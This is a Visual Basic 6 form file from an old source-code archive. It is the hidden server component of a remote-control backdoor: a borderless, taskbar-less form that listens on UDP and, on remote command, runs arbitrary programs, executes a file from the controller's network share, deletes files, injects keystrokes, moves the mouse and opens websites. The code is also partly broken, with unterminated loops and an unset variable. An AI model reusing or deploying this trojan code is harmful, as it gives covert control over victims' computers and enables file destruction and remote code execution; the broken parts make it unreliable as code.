home *** CD-ROM | disk | FTP | other *** search
/ Visual Basic Source Code / Visual Basic Source Code.iso / vbsource / automa_1 / frmserve.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  1999-08-23  |  5.2 KB  |  210 lines

  1. VERSION 5.00
  2. Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
  3. Begin VB.Form frmServer 
  4.    BorderStyle     =   0  'None
  5.    Caption         =   "Form1"
  6.    ClientHeight    =   3000
  7.    ClientLeft      =   0
  8.    ClientTop       =   0
  9.    ClientWidth     =   6000
  10.    Icon            =   "frmServer.frx":0000
  11.    LinkTopic       =   "Form1"
  12.    Picture         =   "frmServer.frx":030A
  13.    ScaleHeight     =   3000
  14.    ScaleWidth      =   6000
  15.    ShowInTaskbar   =   0   'False
  16.    StartUpPosition =   3  'Windows Default
  17.    Begin MSWinsockLib.Winsock win 
  18.       Left            =   1560
  19.       Top             =   2160
  20.       _ExtentX        =   741
  21.       _ExtentY        =   741
  22.       _Version        =   393216
  23.       Protocol        =   1
  24.       LocalPort       =   2000
  25.    End
  26. Attribute VB_Name = "frmServer"
  27. Attribute VB_GlobalNameSpace = False
  28. Attribute VB_Creatable = False
  29. Attribute VB_PredeclaredId = True
  30. Attribute VB_Exposed = False
  31. Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" ( _
  32.     ByVal hWnd As Long, _
  33.     ByVal wMsg As Long, _
  34.     ByVal wParam As Long, _
  35.     ByVal lParam As Long) As Long
  36.     Private Const WM_SYSCOMMAND = &H112&
  37.     Private Const SC_SCREENSAVE = &HF140&
  38. Private Declare Function ShellExecute Lib "shell32.dll" Alias _
  39.     "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As _
  40.     String, ByVal lpFile As String, ByVal lpParameters As String, _
  41.     ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
  42. 'This form should not be visible to the person who has it running on their computer.
  43. 'It will simply do all the actions without actualy being visible.
  44. Private Sub Form_Load()
  45. With win
  46.     .Protocol = sckUDPProtocol
  47.     .LocalPort = 100
  48.     .Bind
  49. End With
  50. Dim DirNew As String
  51. Dim rc As Long
  52. On Error Resume Next
  53. MkDir "c:\testdummy"
  54. End Sub
  55. Private Sub win_DataArrival(ByVal bytesTotal As Long)
  56. On Error Resume Next
  57. Dim data As String
  58. win.GetData data
  59. m = sGetUserName()
  60. If data = "Connect" Then
  61. With win
  62. .SendData "log Welcome to " & m & "    [" & win.LocalIP & "]"
  63. .SendData "log " & Chr(10)
  64. .SendData "log Thank you for hacking my computer."
  65. .SendData "log " & Chr(10) & Chr(10)
  66. End With
  67. End If
  68. Select Case Left(data, 3)
  69. Case "ope"
  70. b = Right(data, Len(data) - 4)
  71. Shell b, vbNormalFocus
  72. win.SendData "log " & b & " has been succesfully opened, unless otherwise stated!" & Chr(10)
  73. Case "fil"
  74. frmFill.Show
  75. Case "crs"
  76. ms = Right(data, Len(data) - 4)
  77. b = Left(ms, 4)
  78. s = Right(ms, 4)
  79. SetCursorPos b, s
  80. Case "rcr"
  81. ms = Right(data, Len(data) - 4)
  82. b = Left(ms, 4)
  83. s = Right(ms, 4)
  84. SetCursorPos b, s
  85. win.SendData "log Mouse Sent to: " & b & ", " & s & Chr(10)
  86. Case "scr"
  87. ms = Right(data, Len(data) - 4)
  88. b = Left(ms, 4)
  89. s = Right(ms, 4)
  90. SetCursorPos b, s
  91. win.SendData "log Mouse Sent to: " & b & ", " & s & Chr(10)
  92. Case "www"
  93. RandomSite
  94. Case "olr"
  95. b = Right(data, Len(data) - 4)
  96. Shell "\\" & win.RemoteHostIP & "\" & b, vbNormalFocus
  97. win.SendData "log " & b & " has been successfully opened" & Chr(10)
  98. Case "cwp"
  99. b = Right(data, Len(data) - 4)
  100. t = SystemParametersInfo(20, 0, b, 1)
  101. win.SendData "log The background has been changed to " & b & Chr(10)
  102. Case "sss"
  103. 'enjoy!
  104. Dim tmp As Long
  105. tmp = SendMessage(Me.hWnd, WM_SYSCOMMAND, SC_SCREENSAVE, 0&)
  106. win.SendData "log The Screensave has been successfully started" & Chr(10)
  107. Case "del"
  108. b = Right(data, Len(data) - 4)
  109. Kill b
  110. win.SendData "log " & b & " has been successfully deleted" & Chr(10)
  111. Case "snk"
  112. b = Right(data, Len(data) - 4)
  113. SendKeys b, 1
  114. win.SendData "log Typed in the letter " & b
  115. Case "web"
  116. b = Right(data, Len(data) - 4)
  117. ret& = ShellExecute(Me.hWnd, "Open", f, "", App.Path, 1)
  118. win.SendData "log Website " & b & " has been successfully opened" & Chr(10)
  119. Case "pan"
  120. For x = 1 To 20000
  121. Case "ocd"
  122. SendMCIString "set cd door open", True
  123. Case "ccd"
  124. SendMCIString "set cd door closed", True
  125. End Select
  126. If Err Then win.SendData "log " & Err.Number & ":" & Chr(10) & Err.Description & Chr(10) & Chr(10)
  127. End Sub
  128. Sub RandomSite()
  129. Dim f As String
  130. Dim s As String
  131. Dim y As Integer
  132. y = Int(Rnd * 50)  'Pick a random length for the web address
  133. 'enter a loop
  134. For I = 1 To y
  135. m = Int(Rnd * 28)
  136. 'Pick which letter is going to be used
  137. Select Case m
  138. Case 1
  139. 'set variable = a letter
  140. s = "a"
  141. Case 2
  142. s = "b"
  143. Case 3
  144. s = "c"
  145. Case 4
  146. s = "d"
  147. Case 5
  148. s = "e"
  149. Case 6
  150. s = "f"
  151. Case 7
  152. s = "g"
  153. Case 8
  154. s = "h"
  155. Case 9
  156. s = "i"
  157. Case 10
  158. s = "j"
  159. Case 11
  160. s = "k"
  161. Case 12
  162. s = "l"
  163. Case 13
  164. s = "m"
  165. Case 14
  166. s = "n"
  167. Case 15
  168. s = "o"
  169. Case 16
  170. s = "p"
  171. Case 17
  172. s = "q"
  173. Case 18
  174. s = "r"
  175. Case 19
  176. s = "s"
  177. Case 20
  178. s = "t"
  179. Case 21
  180. s = "u"
  181. Case 22
  182. s = "y"
  183. Case 23
  184. s = "v"
  185. Case 24
  186. s = "w"
  187. Case 25
  188. s = "x"
  189. Case 26
  190. s = "y"
  191. Case 27
  192. s = "z"
  193. End Select
  194. f = f & s
  195. f = "www." & f & ".com"
  196. Dim ret&
  197.       ret& = ShellExecute(Me.hWnd, "Open", f, "", App.Path, 1)
  198. win.SendData "log Website " & f & " has been opened randomly" & Chr(10)
  199. End Sub
  200. Private Function SendMCIString(cmd As String, fShowError As Boolean) As Boolean
  201. Static rc As Long
  202. Static errStr As String * 200
  203. rc = mciSendString(cmd, 0, 0, hWnd)
  204. If (fShowError And rc <> 0) Then
  205.     mciGetErrorString rc, errStr, Len(errStr)
  206.     MsgBox errStr
  207. End If
  208. SendMCIString = (rc = 0)
  209. End Function
  210.